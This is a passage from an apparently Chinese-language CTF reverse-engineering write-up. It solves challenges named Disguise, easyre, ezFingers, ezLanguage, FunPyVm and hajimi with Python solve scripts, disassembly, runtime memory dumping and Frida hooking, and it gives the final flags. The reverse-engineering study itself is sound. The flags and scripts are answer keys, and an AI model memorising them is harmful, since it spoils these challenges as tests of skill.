x.to_bytes(4 , 'big' ))), 'big' ) def l_prime (x: int ) -> int : return x ^ rol32(x, 13 ) ^ rol32(x, 23 ) mk = [int .from_bytes(key[i:i + 4 ], 'big' ) for i in range (0 , 16 , 4 )] k = [mk[i] ^ fk[i] for i in range (4 )] rk = [] for i in range (32 ): tmp = k[i + 1 ] ^ k[i + 2 ] ^ k[i + 3 ] ^ ck[i] cur = k[i] ^ l_prime(tau(tmp)) rk.append(cur) k.append(cur) return (key, fk, ck, sbox, rk) def crypt_block (words: list [int ], rk: list [int ], sbox: list [int ] ) -> list [int ]: def tau (x: int ) -> int : return int .from_bytes(bytes ((sbox[b] for b in x.to_bytes(4 , 'big' ))), 'big' ) def l_func (x: int ) -> int : return x ^ rol32(x, 2 ) ^ rol32(x, 10 ) ^ rol32(x, 18 ) ^ rol32(x, 24 ) x = list (words) for i in range (32 ): tmp = x[i + 1 ] ^ x[i + 2 ] ^ x[i + 3 ] ^ rk[i] x.append(x[i] ^ l_func(tau(tmp))) return [x[35 ] & 4294967295 , x[34 ] & 4294967295 , x[33 ] & 4294967295 , x[32 ] & 4294967295 ] def decode_flag (hidden_bytes: bytes ) -> str : hidden = pefile.PE(data=hidden_bytes) _, _, _, sbox, rk = build_round_keys(hidden) target = read_dwords(hidden, HIDDEN_TARGET_VA, 12 ) plain = bytearray () for i in range (0 , len (target), 4 ): block = target[i:i + 4 ] dec_words = crypt_block(block, rk[::-1 ], sbox) for word in dec_words: plain.extend(word.to_bytes(4 , 'big' )) flag = plain.decode() result_buf = [] for i in range (0 , len (plain), 16 ): words = [int .from_bytes(plain[i + j:i + j + 4 ], 'big' ) for j in range (0 , 16 , 4 )] result_buf.extend(crypt_block(words, rk, sbox)) if result_buf != target: raise ValueError('verification failed: re-encryption mismatch' ) return flag def entrypoint () -> None : arg_parser = argparse.ArgumentParser(description='Solve the Disguise reverse challenge' ) arg_parser.add_argument('outer_exe' , nargs='?' , default='Disguise.exe' , help ='path to the outer challenge executable' ) arg_parser.add_argument('--dump-hidden' , default='hidden_dump.bin' , help ='where to save the extracted hidden PE' ) cli_args = arg_parser.parse_args() outer_path = Path(cli_args.outer_exe).resolve() hidden_path = Path(cli_args.dump_hidden).resolve() hidden_bytes = extract_stage2_pe(outer_path) hidden_path.write_bytes(hidden_bytes) flag = decode_flag(hidden_bytes) print (f'[+] outer sample : {outer_path} ' ) print (f'[+] hidden sample: {hidden_path} ' ) print (f'[+] flag : {flag} ' ) if __name__ == '__main__' : entrypoint()
最终 flag xmctf{We1c0me_t0_the_w0r1d_0f_VM_And_PEL0ader!!}
REVERSE_SdTVdp_easyre 题目分析 也就是说,本题本质上是一个“本地协议逆向 + 校验逻辑逆向”。
解题过程 题目关系
这两个 exe 不是两个独立程序,而是一组本地回环的 client/server:
server.exe 监听 127.0.0.1:5566
client.exe 负责读入 username 和 serial
客户端把输入做 RC4 加密后发给服务端
服务端校验后,把提示信息用 AES-CBC 加密再回给客户端
也就是说,本题本质上是一个“本地协议逆向 + 校验逻辑逆向”。
第一阶段:确认协议
动态跑起来以后,可以看到:
client.exe 单独运行时会卡在输入
server.exe 单独运行时会监听本地端口
两个程序同时运行时,客户端会先发 username
如果第一阶段通过,客户端会继续要求输入 serial
协议格式如下:
客户端发包:4-byte big endian length + RC4(ciphertext)
服务端回包:4-byte big endian length + AES-CBC(ciphertext)
第二阶段:提取密钥和常量
用 Frida 挂 bcrypt.dll 相关 API,可以直接拿到固定密钥材料:
RC4 key8fb2cde193a4fe87c39dabd7e990b8c5
AES key91adf387c9b48aeed2a19fc7b3d985e4
AES IV6ec1a237589f03d4b5e70c92fa418b66
然后结合静态分析,在 server.exe 的 .rdata 里能找到两块很关键的 32 字节常量,它们都被单字节 0x5c 异或过:
0x140026420 ^ 0x5c -> E5D489FD91431D5438EB28F7490F9CE0
0x140026460 ^ 0x5c -> 62001be6b65779c64e67deb560164745
第三阶段:还原 username
服务端第一阶段会:
用 RC4 解出 username
计算 MD5(username)
把结果转成 32 字节十六进制串
和上面的目标常量比较
也就是说目标是:
md5(username) = e5d489fd91431d5438eb28f7490f9ce0
这个 hash 不在常见在线库里,但用户名空间很小。用一个简单的多线程爆破程序跑 a-z、长度 <= 6,很快就能得到:
username = ctfer
验证:
md5("ctfer") = e5d489fd91431d5438eb28f7490f9ce0
第四阶段:还原 serial
第二阶段不像第一阶段那样再做 hash。
把第一阶段临时 patch 成已知用户名可通过后,再测试第二个 32 字节常量,可以直接发现它就是服务端要求的明文 serial:
serial = 62001be6b65779c64e67deb560164745
再算一下会发现:
md5("easyre") = 62001be6b65779c64e67deb560164745
所以:
username = ctfer
serial = md5("easyre")
关键代码
只要 server.exe和下面的代码在运行即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 import argparseimport hashlibimport socketimport structimport subprocessimport sysimport timefrom pathlib import Pathfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadHOST = '127.0.0.1' PORT = 5566 RC4_KEY = bytes .fromhex('8fb2cde193a4fe87c39dabd7e990b8c5' ) AES_KEY = bytes .fromhex('91adf387c9b48aeed2a19fc7b3d985e4' ) AES_IV = bytes .fromhex('6ec1a237589f03d4b5e70c92fa418b66' ) USERNAME = 'ctfer' SERIAL = hashlib.md5(b'easyre' ).hexdigest() def apply_rc4 (key: bytes , buf: bytes ) -> bytes : s = list (range (256 )) j = 0 for i in range (256 ): j = j + s[i] + key[i % len (key)] & 255 s[i], s[j] = (s[j], s[i]) i = 0 j = 0 result_buf = bytearray () for b in buf: i = i + 1 & 255 j = j + s[i] & 255 s[i], s[j] = (s[j], s[i]) k = s[s[i] + s[j] & 255 ] result_buf.append(b ^ k) return bytes (result_buf) def read_exactly (conn: socket.socket, size: int ) -> bytes : chunks = [] remain = size while remain: chunk = conn.recv(remain) if not chunk: raise ConnectionError('socket closed' ) chunks.append(chunk) remain -= len (chunk) return b'' .join(chunks) def send_rc4_frame (conn: socket.socket, text: str ) -> bytes : plain = text.encode() cipher = apply_rc4(RC4_KEY, plain) conn.sendall(struct.pack('>I' , len (cipher)) + cipher) return cipher def read_aes_frame (conn: socket.socket ) -> tuple [bytes , str ]: size = struct.unpack('>I' , read_exactly(conn, 4 ))[0 ] cipher = read_exactly(conn, size) plain = AES.new(AES_KEY, AES.MODE_CBC, AES_IV).decrypt(cipher) text = unpad(plain, 16 ).decode() return (cipher, text) def spawn_server (server_path: Path ) -> subprocess.Popen[str ]: return subprocess.Popen([str (server_path)], cwd=str (server_path.parent), stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) def entrypoint () -> int : arg_parser = argparse.ArgumentParser(description='Solve easyre by speaking the client/server protocol directly.' ) arg_parser.add_argument('--host' , default=HOST) arg_parser.add_argument('--port' , type =int , default=PORT) arg_parser.add_argument('--launch-server' , action='store_true' , help ='Launch server.exe from the current folder before solving.' ) arg_parser.add_argument('--server-path' , default=str (Path(__file__).with_name('server.exe' ))) cli_args = arg_parser.parse_args() server_proc = None try : if cli_args.launch_server: server_proc = spawn_server(Path(cli_args.server_path)) time.sleep(1.0 ) print (f'[+] username = {USERNAME} ' ) print (f'[+] serial = {SERIAL} ' ) print (f'[+] connect = {cli_args.host} :{cli_args.port} ' ) with socket.create_connection((cli_args.host, cli_args.port)) as conn: user_ct = send_rc4_frame(conn, USERNAME) print (f'[>] username rc4 = {user_ct.hex ()} ' ) resp1_ct, resp1 = read_aes_frame(conn) print (f'[<] resp1 aes = {resp1_ct.hex ()} ' ) print (f'[<] resp1 = {resp1} ' ) serial_ct = send_rc4_frame(conn, SERIAL) print (f'[>] serial rc4 = {serial_ct.hex ()} ' ) resp2_ct, resp2 = read_aes_frame(conn) print (f'[<] resp2 aes = {resp2_ct.hex ()} ' ) print (f'[<] resp2 = {resp2} ' ) finally : if server_proc is not None : try : time.sleep(0.5 ) server_proc.kill() except Exception: pass result_buf, err = server_proc.communicate(timeout=3 ) if result_buf.strip(): print ('[server stdout]' ) print (result_buf.rstrip()) if err.strip(): print ('[server stderr]' , file=sys.stderr) print (err.rstrip(), file=sys.stderr) return 0 if __name__ == '__main__' : raise SystemExit(entrypoint())
最终 flag xmctf{62001be6b65779c64e67deb560164745}
REVERSE_SdTVdp_ezFingers 题目分析 本题的关键是把固件里的两个核心函数分别识别为 HAL_RCC_GetSysClockFreq 和 digitalWrite,flag 也就落在这两个符号名的组合上。
解题过程 关键分析
目标:判断 sub_8003498 和 sub_8000EC0 分别对应什么函数名
flag 格式:xmctf{名称1_名称2}
最终答案:
1 xmctf{HAL_ RCC_ GetSysClockFreq_ digitalWrite}
样本分析
题目目录里只有一个文件:
这是一个 STM32 裸固件。前 8 个字节可以看出:
初始栈指针:0x20030000
Reset Handler:0x08000D3D
因此可以确定镜像加载基址为:
题目给出的两个地址:
本质上就是:
并且都是 Thumb 函数。
先看 sub_8003498
用 rizin 直接反汇编:
1 rizin -n -a arm -b 16 -m 0 x08000000 -e asm.cpu=cortex -q -c "s 0x08003498; af; pdf" STM32F429ZI.bin
关键特征如下:
1 访问 RCC 寄存器
在函数里能看到 literal:
这正是 STM32F4 的 RCC 基址。
2 出现两个非常关键的时钟常量
在 0x08003564 和 0x08003568 位置分别有:
这两个数刚好就是 STM32 HAL 常用的:
HSI_VALUE = 16000000
HSE_VALUE = 8000000
3 函数逻辑与 HAL 完全一致
函数逻辑大致是:
读取 RCC->CFGR & 0xC 判断当前系统时钟源
如果是 HSE,直接返回 8000000
如果不是 PLL,直接返回 16000000
如果是 PLL,则继续读取 RCC->PLLCFGR
取出 PLLM / PLLN / PLLP
按公式计算系统时钟频率
这正是 STM32 HAL 中 HAL_RCC_GetSysClockFreq() 的行为。
4 对应源码
这个函数可以和 ST 官方 HAL 对上:
HAL_RCC_GetSysClockFreq()
源码参考:
因此:
1 sub_ 8003498 = HAL_ RCC_ GetSysClockFreq
再看 sub_8000EC0
反汇编:
1 rizin -n -a arm -b 16 -m 0 x08000000 -e asm.cpu=cortex -q -c "s 0x08000ec0; af; pdf" STM32F429ZI.bin
关键行为如下。
1 入参像 Arduino 的逻辑引脚号
函数开头:
也就是只接受 0..95 范围内的值,这很像 Arduino Core 里的逻辑引脚编号。
2 查 PinName 映射表
函数从 0x08005D4C 取一个 int16_t 表项:
1 2 ldr r3, [0x08000f00] ldrsh.w r4, [r3, r0, lsl 1]
这说明:
r0 是逻辑 pin 编号
0x08005D4C 是逻辑 pin 到 PinName 的映射表
如果取出来是 -1,函数直接返回,表示这个 pin 不可用。
这和 Arduino STM32 Core 中 digitalPinToPinName(p) 的行为一致。
3 检查这个 pin 是否已配置
随后函数调用 0x08000F10,第二个参数是 0x200001B8。
继续看 0x08000F10:
1 2 3 4 5 ubfx r3, r0, #4, #4 ldr.w r3, [r1, r3, lsl 2] and r0, r0, #0xf lsr.w r0, r3, r0 and r0, r0, #1
这是一个非常明显的“位图查询”函数:
高 4 位选端口
低 4 位选 pin
返回这个 pin 的状态位
它和 STM32duino 里的 is_pin_configured() 很一致。
4 根据 PinName 取 GPIO 端口基址
函数又调用 0x08000F64。
这个函数内部是一个 switch,根据 PinName 高位返回:
0x40020000
0x40020400
0x40020800
…
这些刚好是 STM32F4 的:
所以它的作用就是:
5 最后执行 GPIO 写电平
接着它调用 0x0800128E:
1 2 3 cbnz r2, ... lsls r1, r1, #0x10 str r1, [r0, #0x18]
这个实现本质上是往 GPIO 的 BSRR 写数据:
这正是 HAL_GPIO_WritePin() 的典型写法。
因此 sub_8000EC0 的整体流程就是:
逻辑 pin 编号转 PinName
检查 pin 是否已配置
取 GPIO 端口地址
调底层 GPIO 写电平
这与 Arduino STM32 Core 中 digitalWrite() 完全一致。
6 对应源码
固件里还保留了明显的 STM32duino 编译路径字符串,能进一步佐证:
1 /home/bo/iot/os/arduino/arduino-1.8.5/portable/packages/STM32/hardware/stm32/1.3.0/cores/arduino/HardwareSerial.cpp
结合这一点,sub_8000EC0 对应的名字就是:
源码参考:
因此:
1 sub_ 8000EC0 = digitalWrite
得到 flag
题目要求格式:
代入得到:
1 xmctf{HAL_ RCC_ GetSysClockFreq_ digitalWrite}
关键代码
题目目录中已经提供了解题脚本:
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from __future__ import annotationsimport argparseimport structimport sysfrom pathlib import Pathfrom capstone import CS_ARCH_ARM, CS_MODE_THUMB, CsBASE = 134217728 SYSCLK_ADDR = 134231192 SYSCLK_END = 134231390 DWRITE_ADDR = 134221504 DWRITE_END = 134221568 def to_offset (addr: int ) -> int : return addr - BASE def u32_at (payload: bytes , addr: int ) -> int : return struct.unpack_from('<I' , payload, to_offset(addr))[0 ] def thumb_disasm (payload: bytes , start: int , end: int ): md = Cs(CS_ARCH_ARM, CS_MODE_THUMB) code = payload[to_offset(start):to_offset(end)] return list (md.disasm(code, start)) def format_listing (insns ) -> str : return '\n' .join((f'0x{ins.address:08x} : {ins.mnemonic:<8 } {ins.op_str} ' for ins in insns)) def collect_call_targets (insns ) -> set [int ]: targets: set [int ] = set () for ins in insns: if ins.mnemonic.startswith('bl' ) and ins.op_str.startswith('#0x' ): targets.add(int (ins.op_str[1 :], 16 )) elif ins.mnemonic.startswith('bl' ) and ins.op_str.startswith('0x' ): targets.add(int (ins.op_str, 16 )) return targets def match_sysclock (payload: bytes ) -> tuple [str | None , list [str ], list ]: insns = thumb_disasm(payload, SYSCLK_ADDR, SYSCLK_END) targets = collect_call_targets(insns) evidence = [f'literal @0x08003560 = 0x{u32_at(payload, 134231392 ):08x} ' , f'literal @0x08003564 = {u32_at(payload, 134231396 )} ' , f'literal @0x08003568 = {u32_at(payload, 134231400 )} ' , f'calls = {[hex (x) for x in sorted (targets)]} ' ] is_match = u32_at(payload, 134231392 ) == 1073887232 and u32_at(payload, 134231396 ) == 16000000 and (u32_at(payload, 134231400 ) == 8000000 ) and (134218448 in targets) and any ((ins.mnemonic == 'udiv' for ins in insns)) return ('HAL_RCC_GetSysClockFreq' if is_match else None , evidence, insns) def match_digitalwrite (payload: bytes ) -> tuple [str | None , list [str ], list ]: insns = thumb_disasm(payload, DWRITE_ADDR, DWRITE_END) targets = collect_call_targets(insns) evidence = [f'literal @0x08000F00 = 0x{u32_at(payload, 134221568 ):08x} ' , f'literal @0x08000F04 = 0x{u32_at(payload, 134221572 ):08x} ' , f'calls = {[hex (x) for x in sorted (targets)]} ' ] has_cmp_95 = any ((ins.address == 134221506 and ins.op_str.endswith('#0x5f' ) for ins in insns)) is_match = u32_at(payload, 134221568 ) == 134241612 and u32_at(payload, 134221572 ) == 536871352 and {134221584 , 134221668 , 134222478 }.issubset(targets) and has_cmp_95 return ('digitalWrite' if is_match else None , evidence, insns) def entrypoint () -> int : arg_parser = argparse.ArgumentParser(description='Solve the ezFingers firmware naming challenge.' ) arg_parser.add_argument('firmware' , nargs='?' , default=Path(__file__).with_name('STM32F429ZI.bin' ), type =Path, help ='Path to STM32F429ZI.bin' ) arg_parser.add_argument('--show-disasm' , action='store_true' , help ='Print the disassembly used for the match.' ) cli_args = arg_parser.parse_args() payload = cli_args.firmware.read_bytes() name1, ev1, sysclk_insns = match_sysclock(payload) name2, ev2, dwrite_insns = match_digitalwrite(payload) if name1 is None or name2 is None : print ('Failed to identify one or more functions.' ) print ('sub_8003498 evidence:' ) print ('\n' .join((f' - {item} ' for item in ev1))) print ('sub_8000EC0 evidence:' ) print ('\n' .join((f' - {item} ' for item in ev2))) return 1 flag = f'xmctf{{{name1} _{name2} }}' print (f'sub_8003498 -> {name1} ' ) print (f'sub_8000EC0 -> {name2} ' ) print (f'flag = {flag} ' ) if cli_args.show_disasm: print ('\n[sub_8003498]' ) print (format_listing(sysclk_insns)) print ('\n[sub_8000EC0]' ) print (format_listing(dwrite_insns)) return 0 if __name__ == '__main__' : sys.exit(entrypoint())
运行方式:
输出:
1 2 3 sub_ 8003498 -> HAL_ RCC_ GetSysClockFreq sub_ 8000EC0 -> digitalWrite flag = xmctf{HAL_ RCC_ GetSysClockFreq_ digitalWrite}
如果想同时打印用于匹配的关键反汇编:
1 python solve.py --show-disasm
解题脚本原理
脚本没有依赖 IDA/Ghidra 的数据库,而是直接对裸固件做特征匹配:
**1 识别 **sub_8003498
检查以下特征:
0x08003560 == 0x40023800
0x08003564 == 16000000
0x08003568 == 8000000
函数内部调用 0x080002D0
函数内部存在 udiv
这些特征组合足以判断它就是 HAL_RCC_GetSysClockFreq。
**2 识别 **sub_8000EC0
检查以下特征:
0x08000F00 == 0x08005D4C
0x08000F04 == 0x200001B8
函数内部存在 cmp r0, #0x5f
调用了 0x08000F10
调用了 0x08000F64
调用了 0x0800128E
这个组合说明它是 STM32duino 的 digitalWrite() 封装。
最终 flag xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}
REVERSE_SdTVdp_ezLanguage 题目分析 本题需要先从运行时内存回填出真实 .text,再顺着还原后的校验逻辑把编码公式逆回去,最终恢复 flag。
解题过程 题目现象
attachment.exe 运行后会在控制台提示:
普通管道输入没有回显结果,是因为程序不是用标准 stdin 读数据,而是通过控制台输入事件读取。
初步分析
样本磁盘上的 .text 节高熵,入口点直接反汇编是乱码,说明存在运行时解密/自修改。
但程序导入表正常,像是自写壳而不是常见压缩壳。
运行时解密确认
启动程序后,用 ReadProcessMemory 读取运行态的 .text,与磁盘版哈希不同,确认程序会在内存中把真实代码解开。
核心做法是:
启动 attachment.exe
等待其停在输入提示
从进程内存读取 0x401000 开始的 .text
回填到原 PE,得到可分析的解包版
定位校验逻辑
解包后,"Input the flag:" 的 xref 落在 0x40118f 附近,主流程会:
输出提示
读取输入
对输入进行编码
调用自写 strcmp 与目标串比较
动态 hook 0x4010f2(自写字符串比较)时,可以看到比较双方分别是:
我们输入经过编码后的字符串
内置目标串
目标串为:
1 <b<@<72-*8oz*6o-o7co-s73515yk5553<w& znz9640bj& j28++8xh44
字符表为:
1 4& ne9h1<y2*$ oics-75wk3a0z@6jv8>+bx
动态还原编码公式
继续 hook 运行时 helper,可以看到每个输入字符都会做两次取模/除法,再去字符表里取两个字符。
设输入第 pos 位字符为 c,pos 从 1 开始,v = ord(c)。
编码结果为两字符:
1 2 out1 = charset[(v // 17 + pos - 1 ) % 34 ] out2 = charset[(34 - (v % 17 + pos)) % 34 ]
于是逆向也很直接。
若某一对目标字符的 1-based 下标分别为 i1、i2,则:
1 2 3 4 q = (i1 - pos) % 34 r = (35 - i2 - pos) % 34 v = 17 * q + r c = chr (v)
还原 flag
把目标串按 2 个字符一组逆回去,得到:
1 xmctf{E_ Languag3_ 1s_ s0_ Easy}
再次正向编码校验,可完全还原目标串,说明结果正确。
关键代码
仓库内已提供:
06_ezLanguage_solve.py
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 charset = '4&ne9h1<y2*$oics-75wk3a0z@6jv8>+bx' target = '<b<@<72-*8oz*6o-o7co-s73515yk5553<w&znz9640bj&j28++8xh44' def encode_flag (flag: str ) -> str : result_buf = [] for pos, ch in enumerate (flag, 1 ): val = ord (ch) result_buf.append(charset[(val // 17 + pos - 1 ) % 34 ]) result_buf.append(charset[(34 - (val % 17 + pos)) % 34 ]) return '' .join(result_buf) def decode_target (enc: str ) -> str : if len (enc) % 2 != 0 : raise ValueError('encoded string length must be even' ) index = {ch: i + 1 for i, ch in enumerate (charset)} result_buf = [] for pos in range (1 , len (enc) // 2 + 1 ): pair = enc[(pos - 1 ) * 2 :pos * 2 ] q = (index[pair[0 ]] - pos) % 34 r = (35 - index[pair[1 ]] - pos) % 34 result_buf.append(chr (17 * q + r)) return '' .join(result_buf) def entrypoint () -> None : flag = decode_target(target) print (flag) assert encode_flag(flag) == target if __name__ == '__main__' : entrypoint()
运行:
1 python 06_ezLanguage_solve.py
输出即为最终 flag,并会自动断言正向编码结果与目标串一致。
最终 flag xmctf{E_Languag3_1s_s0_Easy}
REVERSE_SdTVdp_FunPyVm 题目分析 本题表面是 PyInstaller 加 VM,实际还有隐藏的第二阶段 ntbase.pyd;真正 flag 需要在第二阶段字节码中恢复。
解题过程 关键分析
题目名:FunPyVm
附件核心文件:main.exe、opcode.bin
题目提示:一个简单的 Python 虚拟机
最终 flag:
1 xmctf{F0n_ And_ 3asyViMGa1v1eF9rY@u}
附件结构
题目目录中真正有用的是解压后的附件目录:
先看目录:
可以看到只有这两个文件,所以思路很明确:
先逆 main.exe
找到虚拟机实现
搞懂 opcode.bin 做了什么
第一步:确认 main.exe 是 PyInstaller
用 PyInstaller 自带的 archive_viewer 看归档表:
1 2 python -m pip install pyinstaller python -m PyInstaller.utils.cliutils.archive_viewer ".\main.exe" -l
可以看到关键条目:
1 2 3 4 5 6 main PYZ.pyz base_ library.zip python313.dll ... kernelVM
这说明程序本体是 Python 打包的,重点就是入口脚本 main 和模块 kernelVM。
**第二步:抽出入口脚本和 **kernelVM
入口脚本 main 是一个 marshal 过的 code object,可以直接反汇编:
1 2 3 4 import marshal, disfrom pathlib import Pathco = marshal.loads(Path('extracted\\main' ).read_bytes()) dis.dis(co)
得到的核心逻辑非常简单:
1 2 3 4 5 6 7 8 9 10 import sysimport osimport bitstringfrom kernelVM import CustomVMcurrent_dir = ... filename = os.path.join(current_dir, 'opcode.bin' ) stream = bitstring.ConstBitStream(filename=filename) bytecode = stream.tobytes() vm = CustomVM() vm.run(bytecode)
也就是说:
main.exe 只是加载 opcode.bin
真正的 VM 在 kernelVM.CustomVM.run
第三步:还原 VM 指令语义
把 kernelVM 从 PYZ.pyz 中取出后反汇编,能还原出这套 VM 的指令。
关键指令如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x10 alloc n 分配长度为 n 的数组 0x11 load i R1 = heap[R0][i] 0x12 store i heap[R0][i] = R1 0x13 free 释放当前块 0x20 mov x R1 = x 0x30 add x R1 = (R1 + x) & 0xff 0x31 xor x R1 = (R1 ^ x) & 0xff 0x35 xorin i heap[R0][i] ^ = R1 0x40 cmp x R1 = int(R1 == x) 0x41 jmpf n PC += 2 + n 0x42 jz_ f n if R1 == 0: PC += 2 + n 0x43 jnz_ f n if R1 != 0: PC += 2 + n 0x50 swapm i 交换 R1 和 heap[R0][i] 0x51 swapr 交换 R0 和 R1 0x52 01 输入字符串到当前内存块 0x52 02 输出当前内存块,直到 0 截断
**第四步:分析 **opcode.bin
把 opcode.bin 按照 1 字节/2 字节指令反汇编,就能看出它的结构很规整:
先分配两个内存块
读入用户输入
对 27 个字节逐个做变换
与常量比较
成功输出 yes,失败输出 No
核心变换是:
1 2 3 4 if input[i] != 0: input[i] ^ = 0x55 if input[i] != 0: input[i] += 7 + 3*i
对应的目标常量为:
1 targets = [41 , 71 , 57 , 26 , 63 , 80 , 57 , 38 , 64 , 95 , 97 , 99 , 105 , 56 , 82 , 113 , 115 , 96 , 71 , 124 , 105 , 80 , 106 , 115 , 111 , 130 , 191 ]
逆一下:
1 2 3 4 5 targets = [41 , 71 , 57 , 26 , 63 , 80 , 57 , 38 , 64 , 95 , 97 , 99 , 105 , 56 , 82 , 113 , 115 , 96 , 71 , 124 , 105 , 80 , 106 , 115 , 111 , 130 , 191 ] fake = [] for i, t in enumerate (targets): fake.append(t - (7 + 3 * i) & 255 ^ 85 ) print (bytes (fake).decode())
输出:
1 why_ you_ think_ this_ is_ true?
这个字符串输入后能得到 yes,但它是 fake flag 。
第五步:这是 fake 的判断依据
比赛里提交这个字符串会发现 flag 错误,所以说明:
opcode.bin 的确能校验通过
但作者在别处还藏了真正的第二阶段
接下来就要继续看 main.exe 的 PyInstaller 归档里还有没有可疑内容。
**第六步:发现隐藏的第二阶段 **ntbase.pyd
继续枚举 main.exe 归档里的二进制条目,并检查文件头:
1 2 3 4 5 6 from PyInstaller.archive.readers import CArchiveReaderarc = CArchiveReader('.\\main.exe' ) for name, _ in arc.toc.items(): buf = arc.extract(name) if isinstance (buf, bytes ) and (not buf.startswith((b'MZ' , b'PK' ))): print (name, len (buf), buf[:4 ])
会发现一个非常可疑的文件:
1 ntbase.pyd 2390 b'\x 10d\x 102'
正常 .pyd 应该是 MZ 开头的 PE 文件,但这个文件开头直接就是 VM 指令流:
1 10 64 10 32 20 00 51 12 ...
这说明:
ntbase.pyd 不是动态库
它实际上是另一份隐藏的 VM 字节码
真 flag 就在第二阶段里
第七步:分析第二阶段字节码
第二阶段依然可以用同一个 CustomVM 跑,因为它本质上还是同一套指令系统。
把 ntbase.pyd 反汇编后,会发现它比第一阶段复杂一些,但整体结构还是:
读入 27 字节输入
做链式异或变换
再对奇偶位置分别加常量
与最终常量表比较
核心关系可以整理成:
1 2 3 4 5 6 7 p[0] = in[0] + 10 p[i] = (in[i] + 10) ^ p[i-1] 如果 i 为偶数: p[i] += 16 如果 i 为奇数: p[i] += 49
第二阶段目标常量是:
1 targets = [96 , 155 , 34 , 172 , 64 , 121 , 54 , 128 , 130 , 74 , 116 , 24 , 151 , 37 , 179 , 35 , 169 , 211 , 50 , 74 , 134 , 87 , 117 , 74 , 138 , 97 , 95 ]
逆变换:
1 2 3 4 5 6 7 8 9 10 targets = [96 , 155 , 34 , 172 , 64 , 121 , 54 , 128 , 130 , 74 , 116 , 24 , 151 , 37 , 179 , 35 , 169 , 211 , 50 , 74 , 134 , 87 , 117 , 74 , 138 , 97 , 95 ] p = [] for i, t in enumerate (targets): add = 16 if i % 2 == 0 else 49 p.append(t - add & 255 ) ans = [] ans.append(p[0 ] - 10 & 255 ) for i in range (1 , len (p)): ans.append((p[i] ^ p[i - 1 ]) - 10 & 255 ) print (bytes (ans).decode())
得到:
1 F0n_ And_ 3asyViMGa1v1eF9rY@u
第八步:验证
把这个字符串喂给第二阶段 VM,会输出 yes。
最终提交时按题目要求包裹:
1 xmctf{F0n_ And_ 3asyViMGa1v1eF9rY@u}
关键代码
我已经把一份自动求解脚本放在这里:
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pathlib import Pathfrom PyInstaller.archive.readers import CArchiveReaderROOT = Path(__file__).resolve().parent EXE = ROOT / 'main.exe' FAKE_STAGE = ROOT / 'opcode.bin' def stage1_fake_flag (): targets = [41 , 71 , 57 , 26 , 63 , 80 , 57 , 38 , 64 , 95 , 97 , 99 , 105 , 56 , 82 , 113 , 115 , 96 , 71 , 124 , 105 , 80 , 106 , 115 , 111 , 130 , 191 ] result_buf = [] for i, target in enumerate (targets): value = target - (7 + 3 * i) & 255 ^ 85 result_buf.append(value) return bytes (result_buf).decode() def stage2_real_flag (): archive = CArchiveReader(str (EXE)) hidden = archive.extract('ntbase.pyd' ) targets = [96 , 155 , 34 , 172 , 64 , 121 , 54 , 128 , 130 , 74 , 116 , 24 , 151 , 37 , 179 , 35 , 169 , 211 , 50 , 74 , 134 , 87 , 117 , 74 , 138 , 97 , 95 ] p = [] for i, target in enumerate (targets): add = 16 if i % 2 == 0 else 49 p.append(target - add & 255 ) response_text = [] response_text.append(p[0 ] - 10 & 255 ) for i in range (1 , len (p)): response_text.append((p[i] ^ p[i - 1 ]) - 10 & 255 ) return (hidden, bytes (response_text).decode()) def entrypoint (): print ('[*] stage1 fake flag:' , stage1_fake_flag()) hidden, real_flag = stage2_real_flag() print ('[*] hidden second-stage blob size:' , len (hidden)) print ('[*] real flag:' , f'xmctf{{{real_flag} }}' ) if __name__ == '__main__' : entrypoint()
运行方式:
1 python 07 _FunPyVm_solve.py
预期输出:
1 2 3 [*] stage1 fake flag: why_ you_ think_ this_ is_ true? [*] hidden second-stage blob size: 2390 [*] real flag: xmctf{F0n_ And_ 3asyViMGa1v1eF9rY@u}
最终 flag xmctf{F0n_And_3asyViMGa1v1eF9rY@u}
REVERSE_SdTVdp_hajimi 题目分析 本题关键是从模型输入输出约束入手,把 16 位答案压缩到 1/2/3/4 的搜索空间,再用本地推理器和剪枝还原原串。
解题过程 入口分析
题目目录里只有两个文件:
__main__.py
challenge.pkl.zst
先看入口 main.py:
1 2 3 4 5 6 7 8 9 prompt = input ('You: ' ).strip() if len (prompt) != 16 : print ('Wrong grid.' ) raise SystemExit(1 ) if any ((c not in VALID_DIGITS for c in prompt)): print ('Wrong grid.' ) raise SystemExit(1 ) tokens = ['BOS' ] + list (prompt) print ('Psychic:' , decode_output(load_model('challenge.pkl.zst' ).apply(tokens)))
能直接得到几个非常关键的结论:
输入必须是 16 位。
每一位只能是 1/2/3/4。
程序把输入拆成 token,丢给一个保存在 challenge.pkl.zst 里的模型。
返回值不是普通数值,而是模型解码后的字符串。
这说明题目本质上不是传统 ELF/PE 逆向,而是一个“把逻辑编译进 Transformer”的逆向题。
没有安装整套 JAX/Haiku/TRACR 的原因
__main__.py 依赖:
jax
haiku
tracr
zstandard
其中最重的是 jax/tracr。但这个题没必要真的把整套环境跑起来,因为:
challenge.pkl.zst 里存的实际上是一个 pickle。
pickle 只需要能找到对应的类名/函数名,就能把对象还原出来。
真正的权重本质上就是大块 numpy.ndarray。
所以更稳的做法是:
给 pickle 补几个最小 stub。
直接把模型对象解出来。
用 numpy 手写一份前向传播。
这样依赖只剩:
复现命令:
1 python -m pip install numpy zstandard
